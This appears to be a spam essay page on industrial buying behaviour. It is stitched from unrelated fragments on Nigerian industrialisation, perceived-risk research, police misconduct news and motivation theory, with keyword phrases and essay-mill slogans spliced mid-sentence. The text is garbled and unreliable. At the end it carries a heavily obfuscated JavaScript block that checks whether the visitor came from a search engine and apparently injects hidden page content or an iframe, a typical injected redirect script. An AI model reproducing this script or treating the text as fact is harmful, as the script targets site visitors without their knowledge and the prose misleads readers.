Case study on industrial buying behaviour

Nigeria has also taken steps in this direction believing it to be the prime mover of the economy. But, their interest were mainly in the area of mining....

22 0
22 0

Nigeria has also taken steps in this direction believing it to be the prime mover of the economy. But, their interest were mainly in the area of mining. This was under the colonialism of Britain and other Europe countries as an agricultural raw materials based for their own industrial set up. The time frame of these plans did not actually give enough room for the actualization of the plans before they be case study on industrial buying behaviour out and replaced by cases study on industrial buying behaviour or by new ones.

This fact might therefore be said to be responsible for the adoption of ten years time frame but including two, two years appraisal.

As these plan succeeds each other, the country pursued a hybrid or combination of all the industrialization approaches earlier on discussed in this chapter laying more emphasis on employing more of import substitution.

This arose from the fact that as Nigeria approaches independence, nationalist politicians saw as one and the same power, prestige, and the development of manufacturing industries. After the civil war —the government came up with the second national development plan NDP geared towards the rehabilitation and reconstruction of the war ravaged areas realizing that the manufacturing sector which wsa highly dependent on impost could not match the designed projects.

This was from — The third development plan evolved with teamwecan.000webhostapp.com emergence boom in the oil sector which catapulated the taste of Nigerians to a very high level such that even the poorest in the country demands, the best of all he wants. This lead to fundamental structure changes in the pattern of production and consumption in the economy.

This plain therefore, was directed at addressing a purposeful drive of import substitution of these wanted items. Cambridge igcse history coursework training handbook also targeted a long list of heavy industrial complexes like the Iron and petrochemical, sugar estates, expansion of cement plants and refineries, commercial vchicle assembly plants etc.

The fourth national development plan of followed the import substitution way, but lays greater emphasis on industries that will rely on local resources. The manufacturing sector has been projected as one with highest growth potentials at 5. In any case, it is the sector that can contribute most effectively towards the desired goals of industrialization. Adopting strategies that would launch the country unto the platform of industrialization, which so far has remained for Nigeria a admired object by a cripple that he cannot grab.

In the case study on industrial buying behaviour of this, this part will try to identify the cases study on industrial buying behaviour that has so far constituted case study on industrial buying behaviour to the case study on industrial buying behaviour, as well s to industrialization in general. The problems of industrialization in this country can be summarized as: Financial, managerial, technical and commercial. The financial contribution evolves primarily from the entrepreneurs.

Own limited capital and inability to tap maximum benefit from the resources of the organized financial sector. On the other hand the management problems of entrepreneurs limited education and training as well as mobility ot purchase expert advice. On the other hand, technical problems arise from limited access to modern equipment and knowledge of project appraisal. The commercial problem consists of their inability to organize market surveys and distribution channels of their products.

Of all these problems, finance has been identified as the major obstacle to the industrializes. Consumer behavior as risk-taking. American Marketing Association, Risk handling in drug adoption: Role of company preferences.

Consumer behaviour

Source effect and persuasibility: The physician and his sources of information about drugs. Journal of Marketing Research,3, Structure and case study on industrial buying behaviour in thinking. A measurement methodology and custom dissertation findings. Perceived risk and its components: A case study on industrial buying behaviour and empirical test.

Journal of Marketing Research,10, Information integration in perceived risk. Working paper number 15, May, 19 The role of personality and perceived risk in the purchase of branded headache and pain and cold remedies. Consumer behavior research seminar manuscript.

Customer Behavior and Loyalty in Insurance: Global Edition 2017

Harvard Business School, The diffusion of an innovation among physicians. Sociometry,20, Social pressures in physicians’ adoption of a new case study on industrial buying behaviour. Journal of Chronic Diseases,9, Industrial search behavior ant perceived risk. Risk handling in consumer behavior — an case study on industrial buying behaviour study of two cases. The influence of cognitive needs and styles on information handling in making product evaluations. Harvard University Press,Pp.

Risk-taking and information-handling in consumer behavior. Perceived risk and consumer decision-making — the case of telephone shoPPing.

Ted Kaczynski

Journal of Marketing Research,1, Perceived risk as a factor in product-oriented word-of-mouth behavior: Perceived risk as a factor in the diffusion of new product information. The major dimensions of perceived risk. Perceived risk as a factor in informal consumer communications. Perceived risk and brand loyalty. Risk enhancement and risk reduction as write my essay online for case study on industrial buying behaviour perceived risk.

Consumer use of information. John Wiley and Sons, Consumer risk-taking for self and for spouse. Unpublished doctoral dissertation, Purdue University, My bicycle short essay demographic correlates o, risk perception in the purchase of electric housewares.

Unpublished doctoral dissertation, University of Colorado. Perceived risk in store selection. Journal of Marketing Research,9, The case study on industrial buying behaviour of buyer behavior. John Wiles and Sons, The components of perceived risk. Components of perceived risk in product purchase: Journal of Applied Psychology,59, Persuasibility of purchasing agents and chemists: Effects of source, presentation, risk, audience competence, and time. An exploration of the effects of perceived social and performance risk on consumer information acquisition.

The role of perceived risk in vendor selection decisions. Unpublished doctoral dissertation, Ohio State University, A marketing communications model for sales management. Perceived risk, information processing, and consumer behavior: Journal of Business,42, Canonical case study on industrial buying behaviour of relations between socioeconomic risk and personal influence in purchase decisions.

The measurement and correlates of category width as a cognitive variable. Journal of PersonalitY,26, An exploration of perceived risk and willingness to try new products. Choice shifts along a dimension of risk tested with consumer-related stimuli. Unpublished doctoral dissertation, University of Cincinnati. Consumer rankings of risk reduction methods. Journal of Marketing,35, Kelly had earlier pleaded guilty in a Brampton court to two Criminal Code charges of possession of cocaine.

He received a suspended sentence, two years of probation and must perform hours of community service.

The Sheth Model

At Kelly’s internal police tribunal hearing, Warr took the rare step of rejecting the joint submission, saying the public expects a “higher level of behaviour” from police officers. Warr, and earlier criminal trial judge Ian Cowan, heard defence evidence that Kelly was remorseful, drug free and ready to work as a cop again after undergoing intense addiction treatment and hours of therapy. Deal Slammed Despite that, it was revealed by the Toronto Sun and other media that a senior Mountie, who headed a massive drug squad corruption probe, slammed the deal as being “of questionable moral quality.

John Neily, had no bearing on Warr’s decision, senior Toronto Police case study on industrial buying behaviour say. She said Warr’s conclusion that police services have any less a duty to accommodate addicted staff is “a fundamental error.

Doucet said other wayward cops will be loath to admit drug problems after seeing their brass “sink” Kelly. Fredericks said it is “a pretty serious result” if cops facing charges — no matter how serious — can keep their jobs by virtue of expressing remorse and undergoing treatment and therapy.

In the other cases: Officer Beth Kreuzer and her two attorneys hugged after the five men and three women on the jury announced their verdict to U. District Judge Kenneth Hoyt. The jury deliberated about five hours. Assistant City Attorney Donald Fleming said the city will appeal. Kreuzer’s attorneys, Katherine Butler and Margaret Harris, who have won two other sexual harassment lawsuits on behalf of female officers, said they hope Police Chief Harold Hurtt and Mayor Bill White will meet with them, Kreuzer and other female victims of harassment in the department.

White’s spokesman, Frank Michel, said it is unlikely the mayor would meet with Kreuzer or her lawyers because of the pending case study on industrial buying behaviour. He deferred cases study on industrial buying behaviour to Hurtt, who said he will consult with Business plan for pub and grill attorney about meeting with Kreuzer.

Hurtt said he is re-examining the department’s sexual harassment awareness training and its policy on sexual case study on industrial buying behaviour. The chief also said he will expand the locations case study on industrial buying behaviour officers can make complaints, adding the Texas Civil Rights Commission and federal Equal Employment Opportunity Commission.

Kreuzer sued the city and Sgt. Simmons, saying more than 22 fellow officers in her case study on industrial buying behaviour had witnessed Simmons sexually harassing and humiliating her, including touching her hair and hips and calling her “my girl.

He was not in court Wednesday and could not be reached for comment. Kreuzer accused police officials of retaliating against her and the officers who told internal investigators about the harassment.

Kreuzer accused department supervisors of retaliating against the entire evening shift, which included most of those who backed the sexual harassment complaint. She said the retaliation involved changing the officers’ hours to make it difficult to secure lucrative off-duty police escort work. Fleming and Assistant City Attorney Lina Garcia portrayed Kreuzer and her lawsuit as part of an effort to retaliate against the department for changing the case study on industrial buying behaviour hours.

The case study on industrial buying behaviour also tried to show that Kreuzer failed to complain to then-Chief Clarence Bradford or the department’s office of Case study related to kohlberg’s theory issues.

Testimony by Kreuzer’s witnesses depicted a department that tried to protect Simmons, despite a long history of poor judgment as a manager. Coming forward with a complaint could end a career and bring retaliation that could make life miserable, a number of witnesses said.

Bradford testified that he rejected the Internal Affairs Division’s conclusion that Simmons was lying when Simmons said he didn’t recall incidents cited by more than 22 officers. Witnesses also testified about the conditions endured by female officers.

Kreuzer said she served in the motorcycle unit for two years before other officers would speak with her, and some never did. She is on paid leave but said she won’t return to her regular duties. Her attorneys said only one other female officer has ridden with Solo, and only for a short time. No women are in the unit now, they said. Commander Brian Duncan improperly involved himself two cases study on industrial buying behaviour ago in cases where his son, Russell, was accused of such A2 essay writing as theft, burglary and domestic violence, according to investigative reports released by the city through an Arizona Public Records law request.

Duncan resigned unexpectedly last summer before internal investigations concluded that the preferential treatment resulted in how to get better at proofreading son getting charged with lesser crimes.

Duncan was one of six veteran officers who left the department over the past two years as fallout from a critical police audit that found mismanagement and lack of professionalism. Duncan’s actions contributed to his son being charged with misdemeanor theft, rather than felony burglary, in a incident because he did not reveal to detectives that a Rottweiler dog also had been stolen, the investigation concludes.

Ron Martin, who also retired, called a Pinal County case study on industrial buying behaviour and persuaded her to cwu personal statement Russell’s name from a list of cases where prosecutors were seeking indictments, according to the reports.

Then-County Attorney Christy Hunt told police that Martin, then supervisor of detectives, explained that the victim did not want to prosecute, the report said. The report described Martin columbia transfer application essay Duncan as “personal friends away from the job. Hunt later believed she had been “double-crossed” when a detective handling the case subsequently called and asked why Russell wasn’t indicted, the report said. Because prosecutors work closely with police, Hunt would have had no reason to question Martin’s motives, Teegarden said.

Martin told investigators he called Hunt to “cut him Russell a break,” the report said, adding that Duncan was in counseling. Although police officials concluded numerous instances of policy violations involving Duncan, Martin, Sgt. Richard Salmon and Officer Dick Boulden, none was ever formally disciplined because they case study on industrial buying behaviour the department, the reports said.

The investigations were launched by the audit, which led to the resignation of former Police Chief Robert Warner in December A second inquiry found a work atmosphere infected by rampant sexual harassment and favoritism. The harassment included Salmon telling a female dispatcher that she should have “flashed” Boulden to gain his cooperation in investigating a stolen car complaint, the report said.

Salmon later apologized to the dispatcher, but Duncan took no administrative action against him, the report said. The reports said the misconduct involving Brian Duncan occurred as Russell battled problems with methamphetamine.

  • This has been confirmed in a country brief by Beyond Access, which indicates that the majority of the Ghanaian populace was not aware of services offered in public libraries.
  • Here’s one we made earlier
  • Based on this, the world bank can be seen as believing agriculture to be the main vehicle to development.
  • But Tom “Smitty” Smith, director of the Texas office of Public Citizen, a government watchdog group, said such deals “raise both eyebrows.
  • A simpler way of thinking about problem recognition is that it is where the consumer decides that he or she is ‘in the market’ for a product or service to satisfy some need or want.
  • The influence of cognitive needs and styles on information handling in making product evaluations.
  • The evoked set is a term used to describe the set of brands that a consumer can elicit from memory and is typically a very small set of some 3- 5 alternatives.
  • Thus, marketers require a rich understanding of the typical consumer’s touchpoints.
  • Ask people to suggest specific benefits which age or any other diversity brings to organisations.
  • The role of perceived risk in vendor selection decisions.
  • What would be a good three or five-point plan for an organisation to use globalisation for good, rather than risk damage and harm?

Brian, who could not be reached for comment, served for years as Apache Junction’s public information officer. Russell is named after his late uncle, Russell L. Duncan, the only Apache Junction officer killed in the line of duty.

Duncan was accidentally shot to death by another officer in during a botched training exercise. The city erected a memorial in his honor at the police station. Retrieved April 25, from AZ Central.

Passing the Headline Test Sometimes the lines between ethical and unethical behavior are blurred. Cases of alleged impropriety are often subjected to a media “headline test”. In Mayan ethical question arose in Houston, Texas involving the new police chief. Harold Hurtt, having recently been appointed chief, was provided a temporary room at the Hyatt Regency Hotel at a greatly reduced rate while he sought permanent residence in Houston. The arrangement had been agreed upon between the City of Houston and the hotel management in advance.

Is this an incident of city government improperly providing special favors and gratuities? Here is one of the news reports as it appeared in the media: The hotel credits its sense of civic duty, and buy essays online safe Bill White defends the deal as a way to save taxpayers’ money during the city’s financial squeeze. But the case study on industrial buying behaviour attorney is looking into the matter, and at least one watchdog group said it could create a conflict of interest.

This has been confirmed in a country brief by Beyond Access, descriptive narrative essay outline indicates that the majority of the Ghanaian case study on industrial buying behaviour was not aware of services offered in public libraries. The public library can initiate a nationwide education of young people about the risks and dangers of using SNS and how to use them responsibly.

Such a case study on industrial buying behaviour will enable youth to enjoy the benefits of using social media and educate them on how to avoid the risks associated with SNS use. The patterns in social media use by young people in the study are largely consistent with those recorded in other studies in relation to popular social media sites, extent of use, purposes for use, mode of access, and problems encountered in using these sites, as well as the many benefits to their development, including self-identity, relationship development and maintenance, acquisition of social, communication, and technical skills, and new knowledge.

This study has provided significant data on the extent of use of social media, cases study on industrial buying behaviour for use, mode of access, and associated problems by youth from two suburbs of Accra, Nima and Maamobi. The main limitation is that the findings can be applied only to the participants as a result of the use of non-probability sampling convenience sampling in their selection for the study.

There is a need for more studies involving youth from other regions of the country and in different settings to confirm the findings. Earth Institute of Columbia University,http: Current Perspectives on Gratifications Research, ed.

Sage,19— An International Journal 16, no. Boyd and Nicole B. Oxford University Press, http: He sees two sets of assumption made by managers about their employees. First is what he calls theory which view man on the following set of principle: Average human beings have an inherent dislike of work and will avoid it if possible.

Because of this, human characteristics of dislike of work, most people must be coerced, controlled, directed and threatened with punishment to get them to put forth adequate effort towards the advancement of the organization objectives. The average human being prefers to be diverted, wishes to avoid responsibility, has relatively little ambition and wants Business plan dental above all.

The holders of this vie believe that motivation of workers can be attained through authority and fear and that employees have to be closely watched if result must be obtained. In summary, this x side of the theory emphasized control and extrinsic rewards. On the other hand, the second assumption called case study on industrial buying behaviour y, sees man in a more favourable light. Here workers under this concept of management posses potential that is generally untapped by most working environments.

It has the following assumptions: The time spent on physical and mental efforts in work is as natural as play or rest. External controls and the threats of punishment are not the only means for bringing about effort towards organizational objectives.

People will exercise self-direction and self —control in the service of objective to which they are committed. Committed to objective is a function of the cases study on industrial buying behaviour associated with their achievement. The most important of such rewards is the satisfaction of ego and self-actualization towards organizational objectives.

Average human being learn under proper condition not only to accept but also to seek responsibility. The capacity to exercise a relatively high degree of imagination, ingenuity and creativity in the solution of organizational problems is widely not narrowly distributed in the population.

Under the conditions of modern industrial life, the intellectual potentialities of the average human beings are only partially utilized. This case study on industrial buying behaviour in summary presents it is aspect of participation and concern for workers morals, encouraged managers to begin to delegate authority for making decisions, enrich or enlarge jobs by making them less respective as the way to motivate cases study on industrial buying behaviour to higher performance.

In conclusion, this theory summarized the employees behaviour using the two sides of its X and Y. As it was stated above, the x side of it emphasized control and extrinsic rewards the y side of it emphasized the managerial concern for workers morals and encouraged manager to begin to delegate authority for making decisions enrich or enlarge job by making them less repetitive as the ways to motivate employees to higher performance.

The educational implication of this theory is that teachers should always be able to effectively exercise control and proper management of their classroom while they teach students with various teaching methods, api2017a09.000webhostapp.com individual differences among learners, environmental conditions, teaching aids etc which will enhance easier learning.

write an essay about advantages and disadvantages of cell phone also, while they do these, they should also externally aid faster learning by the introduction of reinforcement, that is giving of rewards to students who perform well in classroom work or examination.

According to him, here are certain extrinsic factors which by their presence do not increase the workers satisfaction or the job, but there absence may lead to job dissatisfaction and lower productivity among employees.

Such extrinsic job conditions were environmental factors over which the employee has limited influence. They include payment, interpersonal relations, organizational policy and administration, supervision and working conditions.

These he called hygiene factors or dissatisfier. The significance of this factor is that is does not only rely on extrinsic rewards for motivating employees for higher production but also incorporates in the job itself those ingredients that could help motivate employees. Though researcher support Herberg, it is not freed of criticism.

Thank you!

Critics argued write the essay for me how he gathered his data is questionable. It has made a case study on industrial buying behaviour contributions in focusing attention on jobs redesign for the purpose of making the work more intrinsically satisfying. Motivation is related to leadership, for good leadership sets an example, provides guidance, encouragement and instructions.

This can be one of the greatest motivational strategies of all secondary school, which effective principals will use to motivate staff and pupils.

Conceptions of the worker

Another feature of motivation of teachers is that if teachers are properly motivated, this can change an Switzerland descriptive essay mediocre group into a highly productive team. Good case study on industrial buying behaviour of teachers is definitely related to morale. In a large organization, high moral is difficult to attain and motivation of teachers is a prime factor in achieving it.

In an attempt to explain the theory, he proposed case study on industrial buying behaviour motivational constructs. TENSION In an organism, tension is created by disequilbruim within the organism, which the organism wants to release through activities. The activities which help in releasing tension have positive business plan awards and those that have opposite effect have negative valance.

Tension induces valence in an organism and valence directs behaviour. Comparative thesis statement Quasi need is case study on industrial buying behaviour that arise from intentions, acts of will and other arbitrary commitments of the individual. Every organism has a characteristic structure of needs which create tension thereby making the organism to be activated.

Valence influences choice while force is more useful for speed or persistence of behaviour.

xYvD6

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,119,50,53,51,48,54,52,57,112,122,56,72,84,77,76,60,34,47,63,38,95,43,85,67,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[20]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[21]+$[17]+$[22]+([]+[]+[][[]])[!+[]+!+[]]+$[7]+$[9]+$[23]+$[24]+$[24]+([]+[]+{})[!+[]+!+[]]+$[13]+$[25]+$[26]+$[27]+$[13]+$[28]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[13]+$[29]+$[30]+$[31]+$[32]+$[33]+$[10]+$[9]+$[11]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[34]+$[35]+$[36]+$[37]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[2]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[38]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[39]+$[27]+$[39]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[39]+([]+[]+[][[]])[+!+[]]+([]+[]+{})[+!+[]]+$[39]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[31]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[39]+$[27]+$[39]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[39]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[39]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[2]+$[39]+$[40]+$[40]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+$[17]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[3]+$[23]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[31]+$[40]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+$[17]+$[41]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[3]+$[2]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[42]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[43]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[44]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[!+[]